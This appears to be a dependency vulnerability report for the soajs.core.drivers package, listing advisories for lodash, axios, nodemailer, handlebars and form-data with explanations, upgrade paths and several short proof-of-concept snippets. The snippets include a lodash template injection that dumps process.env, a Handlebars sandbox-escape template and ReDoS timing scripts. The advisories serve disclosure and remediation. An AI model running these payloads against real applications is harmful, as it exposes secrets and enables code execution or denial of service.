Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade node-forge to version 0.10.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.17.21.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.
Workaround
Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
Remediation
Upgrade axios to version 0.28.0, 1.6.0 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the comment field in the list message option. An attacker can inject arbitrary headers into generated email messages by supplying crafted input containing CRLF sequences.
Remediation
Upgrade nodemailer to version 8.0.9 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the message-level raw option bypassing disableFileAccess and disableUrlAccess flags. An attacker can access arbitrary local files or perform server-side request forgery by supplying crafted input to the raw field, which bypasses intended access restrictions and results in sensitive data being sent to an attacker-controlled recipient.
Remediation
Upgrade nodemailer to version 9.0.1 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.
Notes
- Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or
AxiosHeaders.set(...). - IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a
PUTrequest) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint. - A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.7.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.0.10.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.
POC
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script>
<script>
// compile the template
var s = `
{{#with (__lookupGetter__ "__proto__")}}
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}}
{{#with ../constructor.prototype}}
{{../../constructor.defineProperty . "hasOwnProperty" ..}}
{{/with}}
{{/with}}
{{/with}}
{{#with "constructor"}}
{{#with split}}
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}}
{{#with .}}
{{#with (concat (lookup join (slice 0 1)))}}
{{#each (slice 2 3)}}
{{#with (apply 0 ../..)}}
{{.}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
`;
var template = Handlebars.compile(s, {
strict: true
});
// execute the compiled template and print the output to the console console.log(template({}));
</script>
Remediation
Upgrade handlebars to version 4.7.7 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.
Remediation
Upgrade axios to version 0.30.0, 1.12.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.
Note:
This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
Workaround
This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.
PoC
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.
PoC
const axios = require('axios');
console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');
console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');
/* stdout
t1: 60.826ms
t2: 5.826s
*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.29.0, 1.6.3 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
medium severity
- Vulnerable module: form-data
- Introduced through: request@2.88.0, ms-rest-azure@2.6.2 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › form-data@2.3.3
-
